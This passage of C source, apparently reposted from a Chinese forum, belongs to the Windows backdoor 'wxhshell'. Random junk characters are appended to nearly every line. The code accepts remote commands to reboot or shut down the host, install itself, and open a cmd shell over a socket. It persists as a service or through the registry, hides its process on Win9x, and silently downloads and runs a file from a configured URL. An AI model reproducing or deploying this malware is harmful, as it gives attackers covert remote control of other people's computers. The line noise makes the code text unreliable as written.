  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~51kiQW  
  } H#kAm!H  
  else { -~( 0O  
gfdPx:7^  
    switch(cmd[0]) { t3  uB  
  [Q7->Wo|S:  
  // 帮助 k lP{yxU'n  
  case '?': { xI`Uk8-8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rnMG0  
    break; jlRl2 #"  
  } Qb6QXjN Q  
  // 安装 (6ohrM>Q  
  case 'i': { &# vk4C_8m  
    if(Install()) 1BMV=_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tf$PaA  
    else 12:h49AP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y91 e1PsV  
    break; `zElBD  
    } @b ::6n/u  
  // 卸载 OQytgXED  
  case 'r': { Edf=?K+\!i  
    if(Uninstall()) g33<qYxP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XI%RneuDr:  
    else r%g <h T 8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E(aX4^]g  
    break; ";-{ ~  
    } */%$6s~  
  // 显示 wxhshell 所在路径 ~4MtDf  
  case 'p': { g( ]b\rj  
    char svExeFile[MAX_PATH]; gD,YQ%aq  
    strcpy(svExeFile,"\n\r"); oglXW8  
      strcat(svExeFile,ExeFile); ]/aRc=Gn  
        send(wsh,svExeFile,strlen(svExeFile),0); "fX_gN?  
    break; ;_?zB NW  
    } P;)2*:--)  
  // 重启 >~`Y   
  case 'b': { _SMT.lG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }"%!(rx  
    if(Boot(REBOOT)) LKK{j,g7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_BqpZ^`  
    else { SE-!|WR  
    closesocket(wsh); bGGeg%7  
    ExitThread(0); `YFkY^T  
    } yM(_P0  
    break; #6*V7@9]3|  
    } ZfFIX5Qd\  
  // 关机 O_r^oH  
  case 'd': { m+D2hK*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .;<7424(%  
    if(Boot(SHUTDOWN)) 1zb$5{,|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !XgQJ7y_Z  
    else { FSW3'  
    closesocket(wsh); o-\ok|,)#j  
    ExitThread(0); "?oo\op  
    } ?dp -}3/G  
    break; %-h7Z3YcN  
    } R7E]*:0}  
  // 获取shell XsAY4WTS  
  case 's': { +l2e[P+qA  
    CmdShell(wsh); Ux_EpC   
    closesocket(wsh); gZw\*9Q9  
    ExitThread(0);  4 "pS  
    break; C $]5l; `  
  } U -Af7qO  
  // 退出 K:}h\ In  
  case 'x': { (A7T}znG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *)j@G:  
    CloseIt(wsh); (/T +Wpy?  
    break; XoDJzrL#  
    } L/qZ ;{  
  // 离开 tpv?`(DDU  
  case 'q': { oS[W*\7'!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [TRGIGtq  
    closesocket(wsh); H/cs_i  
    WSACleanup(); EsT0"{  
    exit(1); ggrI>vaw  
    break; jG+T.  
        } R19'| TJ  
  } qJ\X~5{  
  } Z 7`5x  
8pX f T%]  
  // 提示信息 mBw2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kA1RfSS  
} pWMiCXnW  
  } D"`%|`O  
{@Blj3;w}  
  return; vg+r?4Q3  
} X tJswxw`K  
^OHZ767v  
// shell模块句柄 'jh2**i 34  
int CmdShell(SOCKET sock) Ro$j1Aw(  
{ |C~Sr#6)7  
STARTUPINFO si; l)}<#Ri  
ZeroMemory(&si,sizeof(si)); /DLr(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4qqF v?O[r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x2sN\tOh^  
PROCESS_INFORMATION ProcessInfo; s ;48v  
char cmdline[]="cmd"; eA`]K alH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u=(H#o<#  
  return 0; t@X M /=d  
} ILNE 4n  
}j& O/ Up  
// 自身启动模式 BfX%|CWh  
int StartFromService(void) 0Wa#lkn$I  
{ g;$E1U=R-E  
typedef struct q A.+U:I8  
{ Us1@\|]  
  DWORD ExitStatus; !.9l4@z#  
  DWORD PebBaseAddress; RI?NB6U  
  DWORD AffinityMask; aLV~|$: 2  
  DWORD BasePriority; [fd~nD#.  
  ULONG UniqueProcessId; }'u3U"9)  
  ULONG InheritedFromUniqueProcessId; }%_qx|(P|t  
}   PROCESS_BASIC_INFORMATION; HTxB=Q|  
O:2 #_  
PROCNTQSIP NtQueryInformationProcess; Tsu\oJ[  
%wOOzp`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y@q1c*|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QxKAXq@)i  
[.M  
  HANDLE             hProcess; Q{O/xLf  
  PROCESS_BASIC_INFORMATION pbi; ;9K[~  
IoQr+:_R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3)dP7rmZ  
  if(NULL == hInst ) return 0; AlUJ1^o)  
r i,2clp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xe)Pg)J1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r~I.F!{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RvWFF^,.  
4 uShM0qa  
  if (!NtQueryInformationProcess) return 0; XnD0eua#  
5Qb;2!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6!@0VI&P  
  if(!hProcess) return 0; &Y{F? c^  
x 96}#0'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v<j2L"bj  
W^wd ([  
  CloseHandle(hProcess); 6ezcS}:+  
~'(9?81d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yz2(_@R  
if(hProcess==NULL) return 0; ? %93b ,7  
9-B@GFB;8  
HMODULE hMod; D^N[=q99&e  
char procName[255];  X@cSP7b  
unsigned long cbNeeded; ?b5H 2 W  
g/x_m.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  2mQOj$Lv  
)ukF3;Gt  
  CloseHandle(hProcess); rYbCOazr  
]Uu aN8  
if(strstr(procName,"services")) return 1; // 以服务启动 }lH;[+u3  
{JTmP`&l  
  return 0; // 注册表启动 Dp^95V@  
} _<XgC\4O|  
"8FSA`>=  
// 主模块 @#A!w;bz  
int StartWxhshell(LPSTR lpCmdLine) v C^>p5F  
{ ATo}FL 2  
  SOCKET wsl; $-Cy  
BOOL val=TRUE; #o~[1K+Yq  
  int port=0; YjX*)Q_sl?  
  struct sockaddr_in door; (p^S~Ax  
gUspGsfr  
  if(wscfg.ws_autoins) Install(); S3QaYq"v  
(VEp~BW@-R  
port=atoi(lpCmdLine); ;e2Ij  
(,shiK[5f  
if(port<=0) port=wscfg.ws_port; TKd6MZhT  
Gj)uy jct  
  WSADATA data; * ]>])ms)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XYMxG:  
FQ1arUOFW,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ghX:"vV{n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $:(z}sYQ7  
  door.sin_family = AF_INET; 0Lx3]"v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?H<~ac2e  
  door.sin_port = htons(port); p x0Sy|  
Nvhy3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =88t*dH(,"  
closesocket(wsl); 3Mur*tj#  
return 1; ERp{gB2U?  
} w?*j dwh,'  
^zHRSO  
  if(listen(wsl,2) == INVALID_SOCKET) { CGkI\E  
closesocket(wsl); 'P,,<nkr|  
return 1; ?/)lnj)e{  
} u|T%Xy=LU  
  Wxhshell(wsl); Fk aXA.JE  
  WSACleanup(); v:?o3 S  
9Eu #lV  
return 0; sLZ>v  
8sH50jeP  
} BO]=vH  
v"/TmiZ  
// 以NT服务方式启动 ZOC#i i`:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F'rt>YvF  
{ 0lBat_<8  
DWORD   status = 0; h^Qh9G0dn  
  DWORD   specificError = 0xfffffff; >J>>\Y(p  
'd+:D'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i0iez9B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I.-v?1>,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !:dL~n  
  serviceStatus.dwWin32ExitCode     = 0; b#A(*a_gN  
  serviceStatus.dwServiceSpecificExitCode = 0; Qne0kB5m  
  serviceStatus.dwCheckPoint       = 0; IyOpju)?  
  serviceStatus.dwWaitHint       = 0; IKo;9|2U  
LfHzT<)|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yZ5 x8 8>  
  if (hServiceStatusHandle==0) return; }f]b't  
M}u1qXa  
status = GetLastError(); oE6|Zw  
  if (status!=NO_ERROR) Fav^^vf*1  
{ }s(C^0x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8ZW?|-i  
    serviceStatus.dwCheckPoint       = 0; zWb -pF|  
    serviceStatus.dwWaitHint       = 0; F(;jM(  
    serviceStatus.dwWin32ExitCode     = status; Fh^ox"3c  
    serviceStatus.dwServiceSpecificExitCode = specificError; nGns}\!7'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W"|mpxp  
    return; 8?kP*tmcZ  
  } j3{HkcjJG  
mTJ"l(,3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jFG5)t<D  
  serviceStatus.dwCheckPoint       = 0; EavX8r  
  serviceStatus.dwWaitHint       = 0; S*xhX1yUi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X>{p}vtvf>  
} R5gado  
dl_{iMhF&E  
// 处理NT服务事件,比如:启动、停止 u0g*O]Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^&-a/'D$,  
{ (_ U^  
switch(fdwControl) -,|ha>r  
{ -Uri|^t  
case SERVICE_CONTROL_STOP: ZL=N[XW4'  
  serviceStatus.dwWin32ExitCode = 0; -~\f2'Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L{<7.?{Y  
  serviceStatus.dwCheckPoint   = 0; j %H`0  
  serviceStatus.dwWaitHint     = 0; q1w|'V  
  { iE=P'"I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3p&jLFphL  
  } nEyI t&> 9  
  return; ~{P:sjsU  
case SERVICE_CONTROL_PAUSE: I-bF{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pqH4w(;  
  break; [IMQIX  
case SERVICE_CONTROL_CONTINUE: {@45?L('  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9x[ U$B  
  break; CL1 oAk  
case SERVICE_CONTROL_INTERROGATE: 8 URj1 W  
  break; 79wLT \&  
}; {_(+>v"eJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 q65nF  
} ?@DNsVwb  
Ka.Nr@Rq*~  
// 标准应用程序主函数 5 VKcV&D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k}U JVH21k  
{ s/h7G}Mu  
8U=A{{0p  
// 获取操作系统版本 $rB6<  
OsIsNt=GetOsVer(); 1`QsW&9=b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f?maa5S  
yd*3)6=  
  // 从命令行安装 uREu2T2  
  if(strpbrk(lpCmdLine,"iI")) Install(); C_Gzv'C"L  
r.<JDdj  
  // 下载执行文件 UJn/s;$.e  
if(wscfg.ws_downexe) { { 8p\Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7wi%j!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1a8$f5  
} KuXkI;63J>  
H`el#tt_  
if(!OsIsNt) { NnOI:X {  
// 如果时win9x,隐藏进程并且设置为注册表启动 eO[c lB  
HideProc(); o|rzN\WJn  
StartWxhshell(lpCmdLine); !M^\f N1  
} !DcX8~~@  
else +$,dwyI2t  
  if(StartFromService()) >|nt2  
  // 以服务方式启动 V.2[ F|P;3  
  StartServiceCtrlDispatcher(DispatchTable); CL1 ;Inzl  
else tl^m=(ZQ  
  // 普通方式启动 O,irpQ  
  StartWxhshell(lpCmdLine); ?(D}5`Nfu  
`< Yf{'*  
return 0; "-0;#&!  
}
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只看该作者 1 发表于: 2006-10-10
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